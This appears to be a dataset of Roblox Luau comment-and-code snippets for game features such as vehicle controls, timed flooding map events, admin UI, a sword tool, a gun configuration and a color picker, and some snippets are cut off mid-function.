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-- ~60 c/s |
game["Run Service"].Stepped:connect(function()
--Steering
Steering()
--RPM
RPM()
--Update External Values
_IsOn = script.Parent.IsOn.Value
_InControls = script.Parent.ControlsOpen.Value
script.Parent.Values.Gear.Value = _CGear
script.Parent.Values.RPM.Value = _RPM
script.Parent.Values.Horsepower.Value = _HP
script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
script.Parent.Values.TransmissionMode.Value = _TMode
script.Parent.Values.Throttle.Value = _GThrot
script.Parent.Values.Brake.Value = _GBrake
script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
script.Parent.Values.TCS.Value = _TCS
script.Parent.Values.TCSActive.Value = _TCSActive
script.Parent.Values.ABS.Value = _ABS
script.Parent.Values.ABSActive.Value = _ABSActive
script.Parent.Values.MouseSteerOn.Value = _MSteer
script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
end)
|
-- The list of events in chronological order. |
do -- Sector 1 Events
local shutterA = Lib.Map.SectorA.ShutterPart1
local shutterB = Lib.Map.SectorA.ShutterPart2
local wall1 = Lib.Map.SectorA.Wall5A
local wall2 = Lib.Map.SectorA.Wall5B
local weakPlatformA = Lib.Map.SectorA.WeakPlatformA
local weakPlatformB = Lib.Map.SectorA.WeakPlatformB
local weakPlatformC = Lib.Map.SectorA.WeakPlatformC
local weakPlatformD = Lib.Map.SectorA.WeakPlatformD
local lightBase1 = Lib.Map.SectorA.LightBase1
local light1 = Lib.Map.SectorA.Light1
local function drainWater(distance, duration)
water1.DrainSound:Play()
Lib.Script.moveWater(water1, Vector3.new(0, -distance, 0), duration, true)
end
Lib.btnFuncs[1] = function() -- When the upstairs button is pressed, drain the acid to the sewer.
lightBase1.Anchored = false
light1.BrickColor = BrickColor.new("Daisy orange")
light1.Material = Enum.Material.Neon
light1.PointLight.Enabled = true
weakPlatformA.Anchored = false
game.Debris:AddItem(weakPlatformA, 5)
drainWater(19, 3)
local drainDoor = shutterA
Lib.Script.moveWater(drainDoor, Vector3.new(0, 2, 0), 1, true)
drainDoor.MotorSound:Play()
delay(1, function()
drainDoor.MotorSound:Stop()
end)
end
Lib.btnFuncs[2] = function() -- When the sewer drain button is pressed, open it fully.
local drainDoor = shutterA
Lib.Script.moveWater(drainDoor, Vector3.new(0, 6, 0), 3, true)
drainDoor.MotorSound:Play()
delay(3, function()
drainDoor.MotorSound:Stop()
end)
end
Lib.btnFuncs[3] = function()
Lib.Script.setWaterState(water1, "lava")
wait(18)
-- Drop the sticky walls!
wall1.Anchored = false
wall2.Anchored = false
wall2.BreakSound:Play()
end
autoEvents[#autoEvents + 1] = function() -- After a while, flood the sewer again!
Lib.Script.moveWater(water1, Vector3.new(0, 3, 0), 31, true)
wait(31)
shutterA.Anchored = false
shutterA.BreakSound:Play()
Lib.Script.moveWater(water1, Vector3.new(0, 20 - 4, 0), 2, true)
wait(2)
end
Lib.btnFuncs[4] = function()
Lib.Script.setWaterState(water1, "acid")
weakPlatformB.Anchored = false
game.Debris:AddItem(weakPlatformD, 5)
wait(0.5)
weakPlatformC.Anchored = false
game.Debris:AddItem(weakPlatformC, 5)
wait(0.5)
weakPlatformD.Anchored = false
game.Debris:AddItem(weakPlatformB, 5)
end
Lib.btnFuncs[5] = function() -- When the spire drain button is pressed, drain the place and open the door.
drainWater(59, 2.5)
Lib.Script.setWaterState(water1, "acid")
Lib.Script.moveWater(water2, Vector3.new(0, 3, 0), 2.5, true)
local drainDoor = shutterB
Lib.Script.moveWater(drainDoor, Vector3.new(0, 8, 0), 6, true)
drainDoor.MotorSound:Play()
delay(16, function()
drainDoor.MotorSound:Stop()
end)
end
autoEvents[#autoEvents + 1] = function() -- Flood the first sector entirely to kill anybody still in there.
Lib.Script.moveWater(water1, Vector3.new(0, 2, 0), 10.5, true)
Lib.Script.moveWater(water2, Vector3.new(0, 2, 0), 10.5, true)
wait(10.5)
Lib.Script.moveWater(water1, Vector3.new(0, 100, 0), 4, true)
Lib.Script.moveWater(water2, Vector3.new(0, -5, 0), 1, true)
shutterB.Anchored = false
shutterB.BreakSound:Play()
shutterB.MotorSound:Stop()
end
end
do -- Sector 2 Events
local lightBase1 = Lib.Map.SectorB.LightBase1
local light1 = Lib.Map.SectorB.Light1
local lightBase2 = Lib.Map.SectorB.LightBase2
local light2 = Lib.Map.SectorB.Light2
local lightCables = Lib.Map.SectorB.LightCables
local loosePlatform1 = Lib.Map.SectorB.LoosePlatform1
local loosePlatform2 = Lib.Map.SectorB.LoosePlatform2
local doorSeal = Lib.Map.SectorB.DoorSeal
local climbPlatforms = Lib.Map.SectorB.ClimbPlatforms
local weakWall1 = Lib.Map.SectorB.WeakWall1
local weakWall2 = Lib.Map.SectorB.WeakWall2
autoEvents[#autoEvents + 1] = function()
Lib.Script.moveWater(water2, Vector3.new(0, 2, 0), 27.5, true)
wait(27.5)
end
Lib.btnFuncs[6] = function()
lightBase1.BreakSound:Play()
lightBase1.Anchored = false
lightBase2.Anchored = false
for i, light in ipairs({light1, light2}) do
light.BrickColor = BrickColor.new("Daisy orange")
light.Material = Enum.Material.Neon
light.PointLight.Enabled = true
end
for i, cable in ipairs(lightCables:GetChildren()) do
cable.Enabled = true
end
end
Lib.btnFuncs[8] = function()
Lib.Script.moveWater(weakWall1, Vector3.new(0, -17, 0), 1, true)
weakWall1.ExplosionSound:Play()
wait(3)
loosePlatform1.Anchored = false
loosePlatform1.BreakSound:Play()
end
autoEvents[#autoEvents + 1] = function()
Lib.Script.setWaterState(water2, "lava")
Lib.Script.moveWater(water2, Vector3.new(0, 80, 0), 17, true)
wait(17)
end
Lib.btnFuncs[9] = function()
local platform = climbPlatforms.MotorizedPlatform
Lib.Script.moveWater(platform, Vector3.new(0, -6, 0), 3, true)
platform.MotorSound:Play()
delay(3, function()
platform.MotorSound:Stop()
end)
wait(3.5)
loosePlatform2.Anchored = false
loosePlatform2.BreakSound:Play()
end
Lib.btnFuncs[10] = function()
Lib.Script.moveWater(weakWall2, Vector3.new(0, -17, 0), 1, true)
weakWall2.ExplosionSound:Play()
end
autoEvents[#autoEvents + 1] = function()
-- Break the platforms.
for i, item in ipairs(climbPlatforms:GetDescendants()) do
if item:IsA("BasePart") then
item.Anchored = false
end
end
climbPlatforms:BreakJoints()
climbPlatforms.BreakSoundPart.BreakSound:Play()
Lib.Script.moveWater(water2, Vector3.new(0, 2, 0), 6, true)
wait(6)
-- Flood the remaining area.
doorSeal.CFrame = doorSeal.CFrame * CFrame.new(0, 7, 0)
Lib.Script.moveWater(doorSeal, Vector3.new(0, 9, 0), 1, true)
Lib.Script.moveWater(water2, Vector3.new(0, 16 - 2, 0), 2, true)
wait(2)
end
end
|
--// All global vars will be wiped/replaced except script |
return function(data, env)
if env then
setfenv(1, env)
end
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local gui = service.New("ScreenGui")
local toggle = service.New("ImageButton", gui)
local gTable = client.UI.Register(gui)
local clickSound = service.New("Sound")
clickSound.Parent = toggle
clickSound.Volume = 0.25
clickSound.SoundId = "rbxassetid://156286438"
if client.UI.Get("HelpButton", gui, true) then
gui:Destroy()
gTable:Destroy()
return nil
end
gTable.Name = "HelpButton"
gTable.CanKeepAlive = false
toggle.Name = "Toggle"
toggle.BackgroundTransparency = 1
toggle.Position = UDim2.new(1, -45, 1, -45)
toggle.Size = UDim2.new(0, 40, 0, 40)
toggle.Image = client.HelpButtonImage
toggle.ImageTransparency = 0.35
toggle.Modal = client.Variables.ModalMode
toggle.ClipsDescendants = true
--if client.UI.Get("Chat") then
-- toggle.Position = UDim2.new(1, -(45+40),1, -45)
--end
toggle.MouseButton1Down:Connect(function()
task.spawn(function()
local effect = Instance.new("ImageLabel", toggle)
effect.AnchorPoint = Vector2.new(0.5, 0.5)
effect.BorderSizePixel = 0
effect.ZIndex = toggle.ZIndex + 1
effect.BackgroundTransparency = 1
effect.ImageTransparency = 0.8
effect.Image = "rbxasset://textures/whiteCircle.png"
effect.Position = UDim2.new(0.5, 0, 0.5, 0)
effect:TweenSize(UDim2.new(0, toggle.AbsoluteSize.X * 2.5, 0, toggle.AbsoluteSize.X * 2.5), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.2)
task.wait(0.2)
effect:Destroy()
end)
local found = client.UI.Get("UserPanel",nil,true)
if found then
found.Object:Destroy()
else
clickSound:Play()
client.UI.Make("UserPanel",{})
end
end)
gTable:Ready()
end
|
-- delay to stop people from getting teleported back and forth forever |
DelayTime = 1.0
local db = false
TweenService = game:GetService("TweenService")
info = TweenInfo.new(FadeTime, Enum.EasingStyle.Linear)
|
--Add a new title to a player's inventory |
function functions.AddTitleToInventory(plr: Player, titleName: string)
local plrStats = plr.leaderstats
local plrTitles = plrStats.Titles
if titles:FindFirstChild(titleName) and not plrTitles:FindFirstChild(titleName) then
local titleValue = Instance.new("StringValue")
titleValue.Name = titleName
titleValue.Parent = plrTitles
end
end
|
--AdmiralLennox |
Chest = script.Parent
Lid = Chest.Lid
Lid.PrimaryPart = Lid.Hinge
increment = 96
debounce = false
function rotate(model, amount)
for i=1, math.abs(amount/2) do
model:SetPrimaryPartCFrame(model.Hinge.CFrame * CFrame.fromEulerAnglesXYZ(0,math.pi/amount,0))
wait()
end
end
function openChest()
print("Clicked on handle.")
if not debounce then
debounce = true
if Chest.Open.Value then
rotate(Lid, increment)
else
rotate(Lid, -increment)
end
Chest.Open.Value = not Chest.Open.Value
debounce = false
else
end
end
Lid.ClickDetector.MouseClick:Connect(openChest)
|
--local connection
--local function func()
-- script.Parent:PivotTo(CFrame.new(script.Parent.Vec3Pos.Value))
-- connection:Disconnect()
-- wait(.05)
-- connection = script.Parent.Vec3Pos.Changed:Connect(func)
--end
--connection = script.Parent.Vec3Pos.Changed:Connect(func) | |
-- Damping module/instances |
local Damping = require(script:WaitForChild("Damping"))
local dampCam = Damping.new()
local dampRot = Damping.new() |
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/convertDescriptorToString.ts | |
-----------------------------------------ONLY EDIT THESE VALUES!!!!!-----------------------------------------
-----!Instructions!-----
--Make sure you have a part in the gun named Barrel, it is where the raycast will shoot from.--
--Just place this script into any gun and edit the values below.--
--Editting anything else will risk breaking it.--
------------------------ |
Damage = 18
SPS = 19 -- Shots Per Second, gives a limit of how fast the gun shoots.
Recoil = 5 -- [1-10] [1 = Minigun, 10 = Sniper]
WallShoot = false -- Shoots through walls.
GH = false -- [True = RB can't hurt RB.] [False = RB can hurt RB.]
BulletColor = "Cool yellow" -- Any Brickcolor will work.
Flash = true |
--Put this script in ServerScriptService |
game.Players.PlayerAdded:Connect(function(plr)
local Tracker = Instance.new("IntValue")
Tracker.Name = "Tracker"
Tracker.Parent = plr
local Clone = game.ServerStorage.SkipGui:Clone()
Clone.Parent = plr.PlayerGui
end)
local MP = game:GetService("MarketplaceService")
MP.ProcessReceipt = function(receipt)
local plr = game.Players:GetPlayerByUserId(receipt.PlayerId)
if game.ServerStorage.Locations:FindFirstChild(tostring(plr.Tracker.Value+1))~=nil then
local To = workspace:FindFirstChild(game.ServerStorage.Locations:FindFirstChild(tostring(plr.Tracker.Value+1)).Value)
plr.Character:MoveTo(To.Position)
local New = Instance.new("StringValue")
New.Name = plr.Name
New.Parent = To.Script
plr.Tracker.Value = plr.Tracker.Value + 1
return Enum.ProductPurchaseDecision.PurchaseGranted
else
warn("PURCHASE DENIED")
return Enum.ProductPurchaseDecision.NotProcessedYet
end
end
|
--[[
Temporarily mounts a Roact element in the DataModel so that it can be tested
with Rhodium.
Usage:
local wasClicked = false
local element = Roact.createElement("TextButton", {
[Roact.Event.Activated] = function()
wasClicked = true
end
})
withMountedElement(element, function(button: TextButton)
button = Rhodium.Element.new(button)
button:click()
expect(wasClicked).toBe(true)
end)
]] |
local CoreGui = game:GetService("CoreGui")
local ExperienceComponents = script:FindFirstAncestor("ExperienceComponents")
local Roact = require(ExperienceComponents.Parent.Roact)
local function withMountedElement<T>(element: any, test: (T) -> ())
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "RhodiumScreenGui"
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
screenGui.Parent = CoreGui
local handle
local success, result = pcall(function()
handle = Roact.mount(element, screenGui)
end)
if not success then
screenGui:Destroy()
error(result)
end
success, result = pcall(function()
test(screenGui:FindFirstChildWhichIsA("GuiObject"))
end)
Roact.unmount(handle)
screenGui:Destroy()
if not success then
error(result)
end
end
return withMountedElement
|
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388 |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(-0,-0,-1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0, -0.2, 0) -- Change these to change the positiones of your hat, as I said earlier.
wait(5) debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- Connection class |
local Connection = {}
Connection.__index = Connection
function Connection.new(signal, fn)
return setmetatable({
_connected = true,
_signal = signal,
_fn = fn,
_next = false,
}, Connection)
end
function Connection:Disconnect()
if not self._connected then return end
self._connected = false
-- Unhook the node, but DON'T clear it. That way any fire calls that are
-- currently sitting on this node will be able to iterate forwards off of
-- it, but any subsequent fire calls will not hit it, and it will be GCed
-- when no more fire calls are sitting on it.
if self._signal._handlerListHead == self then
self._signal._handlerListHead = self._next
else
local prev = self._signal._handlerListHead
while prev and prev._next ~= self do
prev = prev._next
end
if prev then
prev._next = self._next
end
end
end
Connection.Destroy = Connection.Disconnect
|
-------- OMG HAX |
r = game:service("RunService")
local damage = 5
local slash_damage = 4
local lunge_damage = 12
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent.Torso
wait(.1)
swordOut()
wait(.1)
force.Parent = nil
wait(.2)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--function of all111 |
click.MouseClick:connect(function(player)
if ready == true then
ready = false
click.MaxActivationDistance = 0
coverdown()
menuappear()
local newtool = tool:clone()
local newhandle = handle:clone()
newtool.Parent = sp.Temporary
newhandle.Parent = sp.Temporary
newhandle.CFrame = CFrame.new(Vector3.new(newhandle.Position.X, newhandle.Position.Y+1,newhandle.Position.Z))
for _,one in pairs(maingui:GetChildren()) do
if one:IsA("TextButton") then
one.MouseButton1Down:connect(function()
menudisappear()
newtool.Name = one.Name
for _,frame in pairs(maingui:GetChildren()) do
if frame:IsA("Frame") and frame.Name == one.Name then --lol this whole part though
for _,button in pairs(frame:GetChildren()) do
if button:IsA("TextButton") then
button.Visible = true
button.MouseButton1Down:connect(function()
newtool.ToolTip = button.Name
newhandle.Parent = newtool
newhandle.Anchored = false
newtool.Cup.Disabled = false
newtool.Parent = player.Backpack
coverup()
for _,v in pairs(button.Parent:GetChildren()) do
if v:IsA("TextButton") then
v.Visible = false
end
end
click.MaxActivationDistance = 10
wait(5)
ready = true
script.Fixer.Disabled = false
end)
end
end
end
end
end)
end
end
end
end)
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
plrData.Money.Gold.Value = plrData.Money.Gold.Value - 8
plrData.Character.Injuries.BrokenArm.Value = false
end
|
--// Connections |
L_100_.OnClientEvent:connect(function(L_178_arg1, L_179_arg2, L_180_arg3, L_181_arg4, L_182_arg5, L_183_arg6, L_184_arg7)
if L_178_arg1 and not L_15_ then
MakeFakeArms()
L_41_ = L_21_:WaitForChild('MainGui'):clone()
L_41_.Parent = L_2_.PlayerGui
L_26_ = L_41_:WaitForChild('Others')
L_27_ = L_26_:WaitForChild('Kill')
L_28_ = L_41_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')
L_29_ = L_28_:WaitForChild('Ammo')
L_30_ = L_28_:WaitForChild('AmmoBackground')
L_31_ = L_28_:WaitForChild('MagCount')
L_32_ = L_28_:WaitForChild('MagCountBackground')
L_33_ = L_28_:WaitForChild('DistDisp')
L_34_ = L_28_:WaitForChild('Title')
L_35_ = L_28_:WaitForChild('Mode1')
L_36_ = L_28_:WaitForChild('Mode2')
L_37_ = L_28_:WaitForChild('Mode3')
L_38_ = L_28_:WaitForChild('Mode4')
L_39_ = L_28_:WaitForChild('Mode5')
L_40_ = L_28_:WaitForChild('Stances')
L_34_.Text = L_1_.Name
UpdateAmmo()
L_42_ = L_179_arg2
L_43_ = L_180_arg3
L_44_ = L_181_arg4
L_45_ = L_182_arg5
L_46_ = L_183_arg6
L_47_ = L_184_arg7
L_48_ = L_58_.Bolt
L_81_ = L_47_.C1
L_82_ = L_47_.C0
if L_1_:FindFirstChild('AimPart2') then
L_53_ = L_1_:WaitForChild('AimPart2')
end
if L_1_:FindFirstChild('FirePart2') then
L_56_ = L_1_.FirePart2
end
if L_24_.FirstPersonOnly then
L_2_.CameraMode = Enum.CameraMode.LockFirstPerson
end
--uis.MouseIconEnabled = false
L_5_.FieldOfView = 70
L_15_ = true
elseif L_15_ then
if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then
Stand()
Unlean()
end
L_87_ = 0
L_74_ = false
L_75_ = false
L_76_ = false
L_60_ = false
L_63_ = false
L_62_ = false
Shooting = false
L_91_ = 70
RemoveArmModel()
L_41_:Destroy()
if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then
L_3_['Right Arm'].LocalTransparencyModifier = 0
L_3_['Left Arm'].LocalTransparencyModifier = 0
end
L_2_.CameraMode = Enum.CameraMode.Classic
L_99_.MouseIconEnabled = true
L_5_.FieldOfView = 70
L_15_ = false
L_99_.MouseDeltaSensitivity = L_51_
L_4_.Icon = "http://www.roblox.com/asset?id=0"
L_15_ = false
end
end)
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = {};
for v2, v3 in ipairs((game.ReplicatedStorage.Game.Eggs:GetChildren())) do
if not v2 then
break;
end;
local v5 = v3:FindFirstChildOfClass("ModuleScript");
if v5 then
v1[v3.Name] = require(v5);
end;
end;
return v1;
|
-- Decompiled with the Synapse X Luau decompiler. |
client = nil;
service = nil;
return function(p1)
local v1 = {
Name = "Ping",
Title = "Ping",
Size = { 150, 70 },
Position = UDim2.new(0, 10, 1, -80),
AllowMultiple = false
};
local u1 = true;
function v1.OnClose()
u1 = false;
end;
local v2 = client.UI.Make("Window", v1);
if v2 then
local v3 = v2:Add("TextLabel", {
Text = "...",
BackgroundTransparency = 1,
TextSize = 20,
Size = UDim2.new(1, 0, 1, 0),
Position = UDim2.new(0, 0, 0, 0)
});
local l__gTable__4 = v2.gTable;
v2:Ready();
while true do
v3.Text = client.Remote.Ping() .. "ms";
wait(2);
if not u1 then
break;
end;
if not l__gTable__4.Active then
break;
end;
end;
end;
end;
|
------------------------- |
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "a" then
a = true
elseif key == "d" then
d = true
elseif key == "w" then
w = true
rwd.Throttle = 1
rwd.Torque = tq
lwd.Throttle = 1
lwd.Torque = ftq
rrwd.Throttle = 1
rrwd.Torque = ftq
rwd.MaxSpeed = 80
lwd.MaxSpeed = 80
rrwd.MaxSpeed = 80
carSeat.Throttle = 1
carSeat.Torque = 0
elseif key == "s" then
s = true
carSeat.Throttle = 0
carSeat.Torque = 0
rwd.Throttle = -1
rwd.Torque = brk
lwd.Throttle = -1
lwd.Torque = brk
rrwd.Throttle = -1
rrwd.Torque = brk
rwd.MaxSpeed = 15
lwd.MaxSpeed = 15
rrwd.MaxSpeed = 15
end
end)
mouse.KeyUp:connect(function (key)
key = string.lower(key)
if key == "a" then
print("a up")
if d == false then
m.DesiredAngle = 0
n.DesiredAngle = m.DesiredAngle
end
elseif key == "d" then
print("d up")
if a == false then
m.DesiredAngle = 0
n.DesiredAngle = m.DesiredAngle
end
end
a = false
d = false
end)
mouse.KeyUp:connect(function (key)
key = string.lower(key)
if key == "w" or key == "s" then
rwd.Throttle = 0
rwd.Torque = 0
lwd.Throttle = 0
lwd.Torque = 0
rrwd.Throttle = 0
rrwd.Torque = 0
carSeat.Throttle = 0
carSeat.Torque = cst
end
end)
limitButton.MouseButton1Click:connect(function() |
-- Load libraries |
while not _G.GetLibraries do wait() end;
local Support, Cheer = _G.GetLibraries(
'F3X/SupportLibrary@^1.0.0',
'F3X/Cheer@^0.0.0'
);
local View = script.Parent;
local Component = Cheer.CreateComponent('BTHSVColorPicker', View);
local Connections = {};
function Component.Start(InitialColor, Callback, SelectionPreventionCallback, PreviewCallback)
-- Show the UI
View.Visible = true;
-- Start the color
InitialColor = InitialColor or Color3.new(1, 1, 1);
Hue, Saturation, Brightness = Color3.toHSV(InitialColor);
Hue, Saturation, Brightness = Cheer.Link(Hue), Cheer.Link(Saturation), Cheer.Link(Brightness);
-- Connect direct inputs to color setting
Cheer.Bind(View.HueOption.Input, { Cheer.Clamp(0, 360), Cheer.Divide(360) }, Hue);
Cheer.Bind(View.SaturationOption.Input, { Cheer.Clamp(0, 100), Cheer.Divide(100) }, Saturation);
Cheer.Bind(View.BrightnessOption.Input, { Cheer.Clamp(0, 100), Cheer.Divide(100) }, Brightness);
-- Connect color to inputs
Cheer.Bind(Hue, { Cheer.Multiply(360), Cheer.Round(0) }, View.HueOption.Input):Trigger();
Cheer.Bind(Saturation, { Cheer.Multiply(100), Cheer.Round(0), tostring, Cheer.Append('%') }, View.SaturationOption.Input):Trigger();
Cheer.Bind(Brightness, { Cheer.Multiply(100), Cheer.Round(0), tostring, Cheer.Append('%') }, View.BrightnessOption.Input):Trigger();
-- Connect color to color display
Cheer.Bind(Hue, UpdateDisplay):Trigger();
Cheer.Bind(Saturation, UpdateDisplay):Trigger();
Cheer.Bind(Brightness, UpdateDisplay):Trigger();
-- Connect mouse to interactive picker
Connections.TrackColor = Support.AddGuiInputListener(View.HueSaturation, 'Began', 'MouseButton1', true, Support.Call(StartTrackingMouse, 'HS'));
Connections.TrackBrightness = Support.AddGuiInputListener(View.Brightness, 'Began', 'MouseButton1', true, Support.Call(StartTrackingMouse, 'B'));
Connections.StopTrackingMouse = Support.AddUserInputListener('Ended', 'MouseButton1', true, StopTrackingMouse);
-- Connect OK button to finish color picking
Cheer.Bind(View.OkButton, function ()
-- Clear any preview
if PreviewCallback then
PreviewCallback();
end;
-- Remove the UI
View:Destroy();
-- Return the selected color
Callback(Color3.fromHSV(#Hue, #Saturation, #Brightness));
end);
-- Connect cancel button to clear preview and remove UI
Cheer.Bind(View.CancelButton, function () if PreviewCallback then PreviewCallback() end; View:Destroy(); end);
-- Store reference to callbacks
Component.SelectionPreventionCallback = SelectionPreventionCallback;
Component.PreviewCallback = PreviewCallback;
-- Clear connections when the component is removed
Cheer.Bind(Component.OnRemove, ClearConnections);
end;
function StartTrackingMouse(TrackingType)
-- Only start tracking if not already tracking
if Connections.MouseTracking then
return;
end;
-- Watch mouse movement and adjust current color
Connections.MouseTracking = Support.AddUserInputListener('Changed', 'MouseMovement', true, function (Input)
-- Track for hue-saturation
if TrackingType == 'HS' then
Hue('Update', Support.Clamp((Input.Position.X - View.HueSaturation.AbsolutePosition.X) / View.HueSaturation.AbsoluteSize.X, 0, 1));
Saturation('Update', 1 - Support.Clamp((Input.Position.Y - View.HueSaturation.AbsolutePosition.Y) / View.HueSaturation.AbsoluteSize.Y, 0, 1));
-- Track for brightness
elseif TrackingType == 'B' then
Brightness('Update', 1 - Support.Clamp((Input.Position.Y - View.Brightness.AbsolutePosition.Y) / View.Brightness.AbsoluteSize.Y, 0, 1));
end;
end);
-- Prevent selection if a callback to do so is provided
if Component.SelectionPreventionCallback then
Component.SelectionPreventionCallback();
end;
end;
function StopTrackingMouse()
-- Releases any tracking
-- Ensure ongoing tracking
if not Connections.MouseTracking then
return;
end;
-- Disable any current tracking
Connections.MouseTracking:Disconnect();
Connections.MouseTracking = nil;
end;
function UpdateDisplay()
-- Updates the display based on the current color
-- Get current color
local CurrentColor = Color3.fromHSV(#Hue, #Saturation, #Brightness);
-- Update the color display
View.ColorDisplay.BackgroundColor3 = CurrentColor;
View.HueOption.Bar.BackgroundColor3 = CurrentColor;
View.SaturationOption.Bar.BackgroundColor3 = CurrentColor;
View.BrightnessOption.Bar.BackgroundColor3 = CurrentColor;
-- Update the interactive color picker
View.HueSaturation.Cursor.Position = UDim2.new(
#Hue, View.HueSaturation.Cursor.Position.X.Offset,
1 - #Saturation, View.HueSaturation.Cursor.Position.Y.Offset
);
-- Update the interactive brightness picker
View.Brightness.ColorBG.BackgroundColor3 = CurrentColor;
View.Brightness.Cursor.Position = UDim2.new(
View.Brightness.Cursor.Position.X.Scale, View.Brightness.Cursor.Position.X.Offset,
1 - #Brightness, View.Brightness.Cursor.Position.Y.Offset
);
-- Update the preview if enabled
if Component.PreviewCallback then
Component.PreviewCallback(CurrentColor);
end;
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
return Component;
|
--Change this to your desired broadcast prefix. |
_G.broadcastPrefix = "[Server] "
|
--// Animations |
-- Idle Anim
IdleAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
objs[4]:WaitForChild("Click"):Play()
end;
ReloadAnim = function(char, speed, objs)
